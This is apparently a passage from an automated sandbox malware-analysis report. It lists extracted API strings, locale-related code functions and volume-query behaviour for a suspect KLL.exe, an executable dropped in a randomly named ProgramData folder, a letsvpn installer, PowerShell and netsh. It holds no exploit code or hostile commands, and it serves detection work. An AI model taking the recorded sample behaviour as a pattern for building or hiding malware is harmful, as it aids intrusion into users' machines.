SetControlDetailsmmioInstallIOProcWmmioStringToFOURCCWtimeGetSystemTimewaveInGetDevCapsWwaveInGetErrorTextWwaveInGetNumDevswaveInGetPositionwaveInPrepareHeaderwaveInUnprepareHeaderwaveOutBreakLoopwaveOutGetDevCapsWwaveOutGetErrorTextWwaveOutGetNumDevswaveOutGetPlaybackRatewaveOutGetPositionwaveOutGetVolumewaveOutPrepareHeaderwaveOutSetPlaybackRatewaveOutSetVolumewaveOutUnprepareHeaderjoyConfigChangedmciFreeCommandResourcemciGetDriverDatamciLoadCommandResourcemciSetDriverDatammGetCurrentTaskmmsystemGetVersionWSAAddressToStringWWSAAsyncGetHostByAddrWSAAsyncGetHostByNameWSAAsyncGetProtoByNameWSAAsyncGetServByNameWSAAsyncGetServByPortWSACancelAsyncRequestWSACancelBlockingCallWSADuplicateSocketWWSAEnumNetworkEventsWSAEnumProtocolsWWSAGetOverlappedResultWSAGetServiceClassInfoWWSAInstallServiceClassWWSALookupServiceBeginWWSALookupServiceEndWSALookupServiceNextWWSAProviderConfigChangeWSARecvDisconnectWSARemoveServiceClassWSASendDisconnectWSASetBloc
            Source: LetsPRO.exe, 00000037.00000002.4287210806.0000000068179000.00000002.00000001.01000000.00000024.sdmpBinary or memory string: AddFontResourceWAdjustWindowRectAlready ReportedAssocIsDangerousAuditSetSecurityBITMAPINFOHEADERBringWindowToTopCRYPT_OBJID_BLOBCertControlStoreCheckRadioButtonCloseEnhMetaFileCoGetCallContextCoGetInterceptorCoMarshalHresultCoTaskMemReallocCombineTransformConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateHatchBrushCreateIpNetEntryCreateJobObjectWCreateMDIWindowWCreateNamedPipeWCreatePolygonRgnCreateSemaphoreWCreateSolidBrushCreateTimerQueueCryptDestroyHashCryptExportPKCS8CryptGetKeyParamCryptMsgGetParamCryptProtectDataCryptQueryObjectCryptSetKeyParamDAD_SetDragImageDPA_EnumCallbackDdeQueryConvInfoDdeSetUserHandleDeactivateActCtxDefMDIChildProcWDefineDosDeviceWDeleteColorSpaceDeleteIpNetEntryDeleteTimerQueueDestination-PortDispatchMessageWDnsNameCompare_WDrawCaptionTempWDrawFrameControlDuplicateTokenExEndBufferedPaintEngCreatePaletteEngDeletePaletteEngDeleteSurfaceEngGetDriverNameEngStretchBltROPEngUnlockSurfaceEnumChildWindowsEnumICMProfilesWExcludeUpdateRgnExtSelectClipRgnFONTOBJ_vGetInfoFRAME_SIZE_ERRORFindFirstFreeAceFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdiGetBatchLimitGdiIsMetaPrintDCGdiSetBatchLimitGetAsyncKeyStateGetBestInterfaceGetCalendarInfoWGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleAliasWGetConsoleTitleWGetConsoleWindowGetCurrentActCtxGetCurrentObjectGetCurrentThreadGetDIBColorTableGetDesktopWindowGetDllDirectoryWGetExpandedNameWGetFileSecurityWGetFullPathNameWGetGUIThreadInfoGetGestureConfigGetGlyphIndicesWGetGlyphOutlineWGetInterfaceInfoGetIpErrorStringGetKerningPairsWGetKeyboardStateGetLastInputInfoGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetMenuPosFromIDGetModuleHandleWGetNamedPipeInfoGetNetworkParamsGetOpenFileNameWGetPriorityClassGetProgmanWindowGetSaveFileNameWGetScrollBarInfoGetStringScriptsGetSysColorBrushGetSystemMetricsGetTaskmanWindowGetTcpStatisticsGetTempFileNameWGetThemeFilenameGetThemePartSizeGetThemePositionGetThemeSysColorGetThreadDesktopGetUdpStatisticsGetViewportExtExGetViewportOrgExGlobalDeleteAtomHANIMATIONBUFFERHost-Remote-ListIConnectionPointICreateErrorInfoILLoadFromStreamINTERFACE_HANDLEIOleAdviseHolderIOleInPlaceFrameIP_PREFIX_ORIGINIP_SUFFIX_ORIGINIPropertyStorageIUnknown_GetSiteIUnknown_SetSiteI_CryptDetachTlsI_RpcSendReceiveIcmpParseRepliesImageList_CreateImageList_DrawExImageList_RemoveImmConfigureIMEWImmCreateContextImmGetGuideLineWImmGetOpenStatusImmGetVirtualKeyImmRegisterWordWImmSetOpenStatusImperial_AramaicInitializeFlatSBInstRuneAnyNotNLInterfaceRemovedIntlStrEqWorkerWIpReleaseAddressIsBadHugeReadPtrIsDBCSLeadByteExIsDialogMessageWIsTokenUntrustedIsValidInterfaceJasonMarshalFailK32EnumProcessesLCIDToLocaleNameLPFNVIEWCALLBACKLPPERSISTSTORAGELPPRINTPAGERANGELPSHELLFLAGSTATELPSHFILEOPSTRUCTLPWPUPOSTMESSAGELPWSANSCLASSINFOLocalLinkAddressLocaleNameToLCIDLockWindowUpdateMIB_IPADDRROW_XPMIB_IPFORWARDROWMapVirtualKeyExWMeroitic_CursiveMonitorFromPointMultiple
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpBinary or memory string: QTrayIconMessageWindowClassTaskbarCreatedChangeWindowMessageFilterExuser32ChangeWindowMessageFilterThe platform plugin failed to create a message window.Shell_NotifyIconGetRectShell_TrayWndTrayNotifyWndSysPagerToolbarWindow32@
            Source: LetsPRO.exe, 00000037.00000002.4186386132.000000000F9C8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SetProgmanWindow
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_00108CC5 cpuid 17_2_00108CC5
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,TestDefaultCountry,__crtGetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,__crtGetLocaleInfoEx,_invoke_watson,0_2_0000000180023010
            Source: C:\Users\user\Desktop\KLL.exeCode function: __crtGetLocaleInfoEx,malloc,__crtGetLocaleInfoEx,WideCharToMultiByte,free,0_2_000000018001E810
            Source: C:\Users\user\Desktop\KLL.exeCode function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,GetCPInfo,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,0_2_0000000180014888
            Source: C:\Users\user\Desktop\KLL.exeCode function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,0_2_000000018001E97C
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,EnumSystemLocalesW,0_2_00000001800239AC
            Source: C:\Users\user\Desktop\KLL.exeCode function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,0_2_0000000180022250
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,EnumSystemLocalesW,0_2_0000000180023A60
            Source: C:\Users\user\Desktop\KLL.exeCode function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,0_2_0000000180021AEC
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,0_2_0000000180023AF4
            Source: C:\Users\user\Desktop\KLL.exeCode function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,0_2_000000018002347C
            Source: C:\Users\user\Desktop\KLL.exeCode function: EnumSystemLocalesW,0_2_00000001800164DC
            Source: C:\Users\user\Desktop\KLL.exeCode function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,0_2_0000000180016520
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,0_2_0000000180023D24
            Source: C:\Users\user\Desktop\KLL.exeCode function: __crtGetLocaleInfoEx,0_2_0000000180023530
            Source: C:\Users\user\Desktop\KLL.exeCode function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,0_2_0000000180021580
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,0_2_000000018001BE0C
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_invoke_watson,_invoke_watson,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,0_2_0000000180023634
            Source: C:\Users\user\Desktop\KLL.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_0000000180023E70
            Source: C:\Users\user\Desktop\KLL.exeCode function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,free,__crtGetLocaleInfoEx,_invoke_watson,0_2_000000018001671C
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,GetLocaleInfoW,0_2_0000000180023F20
            Source: C:\Users\user\Desktop\KLL.exeCode function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,0_2_0000000180023FC8
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: _Getdateorder,___lc_locale_name_func,__crtGetLocaleInfoEx,17_2_6CEFA720
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: __crtGetLocaleInfoEx,?isfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAEXXZ,GetLocaleInfoW,17_2_6CEE1270
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoEx,GetLocaleInfoW,17_2_6CF919CE
            Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
            Source: C:\ProgramData\letsvpn-latest.exeQueries volume information: C:\ VolumeInformation
            Source: C:\ProgramData\letsvpn-latest.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeQueries volume information: C:\Program Files (x86)\letsvpn\driver\tap0901.cat VolumeInformation
            Source: C:\Windows\System32\drvinst.exeQueries volume information: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.cat VolumeInformation
            Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
